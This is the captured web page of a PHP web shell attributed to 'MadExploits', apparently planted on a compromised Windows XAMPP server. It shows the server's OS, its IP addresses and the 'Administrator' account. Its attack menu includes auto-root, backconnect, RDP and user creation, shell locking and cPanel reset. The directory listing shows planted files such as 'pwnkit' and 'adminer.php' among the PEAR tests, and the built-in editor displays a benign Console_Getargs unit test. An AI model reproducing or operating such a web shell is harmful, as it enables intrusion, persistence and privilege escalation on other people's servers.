Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.9
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
php /
pear /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
01glob.phpt
815
B
-rw-rw-rw-
02maptree.phpt
2.21
KB
-rw-rw-rw-
03maptreemultiple.phpt
1.31
KB
-rw-rw-rw-
04search.phpt
1.12
KB
-rw-rw-rw-
05search_inside.phpt
1.31
KB
-rw-rw-rw-
06match_shell.phpt
2.34
KB
-rw-rw-rw-
1.phpt
370
B
-rw-rw-rw-
10.phpt
1.65
KB
-rw-rw-rw-
11.phpt
484
B
-rw-rw-rw-
12.phpt
546
B
-rw-rw-rw-
13.phpt
567
B
-rw-rw-rw-
14.phpt
941
B
-rw-rw-rw-
15.phpt
735
B
-rw-rw-rw-
16.phpt
759
B
-rw-rw-rw-
17.phpt
903
B
-rw-rw-rw-
18.phpt
423
B
-rw-rw-rw-
19.phpt
497
B
-rw-rw-rw-
2.phpt
407
B
-rw-rw-rw-
20.phpt
545
B
-rw-rw-rw-
21.phpt
568
B
-rw-rw-rw-
22.phpt
703
B
-rw-rw-rw-
23.phpt
621
B
-rw-rw-rw-
24.phpt
1013
B
-rw-rw-rw-
25.phpt
621
B
-rw-rw-rw-
26.phpt
1.27
KB
-rw-rw-rw-
27.phpt
1.52
KB
-rw-rw-rw-
28.phpt
1.52
KB
-rw-rw-rw-
29.phpt
1.14
KB
-rw-rw-rw-
3.phpt
494
B
-rw-rw-rw-
30.phpt
1.28
KB
-rw-rw-rw-
31.phpt
2
KB
-rw-rw-rw-
4.phpt
673
B
-rw-rw-rw-
5.phpt
1.18
KB
-rw-rw-rw-
6.phpt
1.83
KB
-rw-rw-rw-
7.phpt
966
B
-rw-rw-rw-
8.phpt
354
B
-rw-rw-rw-
9.phpt
1.82
KB
-rw-rw-rw-
AllTests.php
754
B
-rw-rw-rw-
DispatcherTest.php
5.04
KB
-rw-rw-rw-
Getargs_basic_testcase.php
15.55
KB
-rw-rw-rw-
Getargs_getValues_testcase.php
9.75
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
bug2773.phpt
771
B
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
setup.php
937
B
-rw-rw-rw-
testBasic_apiVersion.phpt
449
B
-rw-rw-rw-
testBasic_attributesToString.p...
3.55
KB
-rw-rw-rw-
testBasic_collapseEmptyTags.ph...
1.75
KB
-rw-rw-rw-
testBasic_createCDataSection.p...
494
B
-rw-rw-rw-
testBasic_createComment.phpt
471
B
-rw-rw-rw-
testBasic_createEndElement.php...
696
B
-rw-rw-rw-
testBasic_createStartElement.p...
3.68
KB
-rw-rw-rw-
testBasic_createTag.phpt
5.78
KB
-rw-rw-rw-
testBasic_createTagFromArray.p...
9.09
KB
-rw-rw-rw-
testBasic_getDocTypeDeclaratio...
1.48
KB
-rw-rw-rw-
testBasic_getXmlDeclaration.ph...
1.14
KB
-rw-rw-rw-
testBasic_isValidName.phpt
1.38
KB
-rw-rw-rw-
testBasic_raiseError.phpt
502
B
-rw-rw-rw-
testBasic_replaceEntities.phpt
3.17
KB
-rw-rw-rw-
testBasic_reverseEntities.phpt
3.16
KB
-rw-rw-rw-
testBasic_splitQualifiedName.p...
983
B
-rw-rw-rw-
testBug_18343.phpt
3.14
KB
-rw-rw-rw-
testBug_4950.phpt
675
B
-rw-rw-rw-
testBug_5392.phpt
1.07
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Getargs_getValues_testcase.php
<?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /** * getValues Test case for Console_Getargs * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.0 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_0.txt. If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to license@php.net so we can mail you a copy immediately. * * @category Console * @package Console_Getargs * @subpackage Tests * @author Stephan Schmidt <schst@php.net> * @copyright 1997-2005 The PHP Group * @license http://www.php.net/license/3_0.txt PHP License 3.0 * @version CVS: $Id: Getargs_getValues_testcase.php 269139 2008-11-17 10:02:30Z clockwerx $ * @link http://pear.php.net/package/Console_Getargs */ if (!defined('PHPUnit_MAIN_METHOD')) { define('PHPUnit_MAIN_METHOD', 'Getargs_getValues_testCase::main'); } require_once 'Console/Getargs.php'; require_once 'PHPUnit/Framework.php'; /** * getValues Test case for Console_Getargs * * @category Console * @package Console_Getargs * @subpackage Tests * @author Stephan Schmidt <schst@php.net> * @copyright 1997-2005 The PHP Group * @license http://www.php.net/license/3_0.txt PHP License 3.0 * @version Release: @package_version@ * @link http://pear.php.net/package/Console_Getargs */ class Getargs_getValues_testCase extends PHPUnit_Framework_TestCase { /** * Runs the test methods of this class. * * @access public * @static */ public static function main() { require_once 'PHPUnit/TextUI/TestRunner.php'; $suite = new PHPUnit_Framework_TestSuite('Getargs_getValues_testCase'); PHPUnit_TextUI_TestRunner::run($suite); } /** * Test getValues('long') with one argument * * @access public * @return void */ function testLong1() { $config = array( 'name' => array( 'short' => 'n', 'min' => 1, 'max' => 1, 'desc' => 'An argument.') ); $args = array('-n', 'arg1'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('name' => 'arg1'), $obj->getValues('long'), "'$message' Incorrect value returned"); } $args = array('--name', 'arg1'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('name' => 'arg1'), $obj->getValues('long'), "'$message' Incorrect value returned"); } } /** * Test getValues('long') with one argument and two values * * @access public * @return void */ function testLong2() { $config = array( 'name' => array( 'short' => 'n', 'min' => 2, 'max' => 2, 'desc' => 'Two arguments.') ); $args = array('-n', 'arg1', 'arg2'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('name' => array('arg1', 'arg2')), $obj->getValues('long'), "'$message' Incorrect value returned"); } $args = array('--name', 'arg1', 'arg2'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('name' => array('arg1', 'arg2')), $obj->getValues('long'), "'$message' Incorrect value returned"); } } /** * Test getValues('short') with one argument * * @access public * @return void */ function testShort() { $config = array( 'name' => array( 'short' => 'n', 'min' => 1, 'max' => 1, 'desc' => 'An argument.') ); $args = array('-n', 'arg1'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('n' => 'arg1'), $obj->getValues('short'), "'$message' Incorrect value returned"); } $args = array('--name', 'arg1'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('n' => 'arg1'), $obj->getValues('short'), "'$message' Incorrect value returned"); } } /** * Test getValues('short') with one argument and two values * * @access public * @return void */ function testShort2() { $config = array( 'name' => array( 'short' => 'n', 'min' => 2, 'max' => 2, 'desc' => 'Two arguments.') ); $args = array('-n', 'arg1', 'arg2'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('n' => array('arg1', 'arg2')), $obj->getValues('short'), "'$message' Incorrect value returned"); } $args = array('--name', 'arg1', 'arg2'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('n' => array('arg1', 'arg2')), $obj->getValues('short'), "'$message' Incorrect value returned"); } } /** * Test getValues('short') and getValues('long') with a switch * * @access public * @return void */ function testSwitch() { $config = array( 'switch' => array( 'short' => 's', 'max' => 0, 'desc' => 'A switch.') ); $args = array('-s'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertTrue($obj->isDefined('s'), "'$message' Switch not defined"); $this->assertTrue($obj->isDefined('switch'), "'$message' Switch not defined"); } $args = array('--switch'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('switch' => true), $obj->getValues('long'), "'$message' Switch not defined"); $this->assertEquals(array('s' => true), $obj->getValues('short'), "'$message' Switch not defined"); } } /** * Test getValues('long') and getValues('short') with two arguments * * @access public * @return void */ function testMultiple() { $config = array( 'name' => array( 'short' => 'n', 'min' => 1, 'max' => 1, 'desc' => 'One argument.'), 'email' => array( 'short' => 'e', 'min' => 2, 'max' => 2, 'desc' => 'Two arguments.'), ); $args = array('-n', 'arg1', '-e', 'schst@php.net', 'wenz@php.net'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('name' => $args[1], 'email' => array($args[3], $args[4])), $obj->getValues('long'), "'$message' Incorrect value returned"); $this->assertEquals(array('n' => $args[1], 'e' => array($args[3], $args[4])), $obj->getValues('short'), "'$message' Incorrect value returned"); } $args = array('--name', 'arg1', '--email', 'schst@php.net', 'wenz@php.net'); $message = implode(' ', $args); $obj =& Console_Getargs::factory($config, $args); if (PEAR::isError($obj)) { $this->fail("'$message' " . $obj->getMessage()); } else { $this->assertEquals(array('name' => $args[1], 'email' => array($args[3], $args[4])), $obj->getValues('long'), "'$message' Incorrect value returned"); $this->assertEquals(array('n' => $args[1], 'e' => array($args[3], $args[4])), $obj->getValues('short'), "'$message' Incorrect value returned"); } } } if (PHPUnit_MAIN_METHOD == 'Getargs_getValues_testCase::main') { Getargs_getValues_testCase::main(); } ?>
Close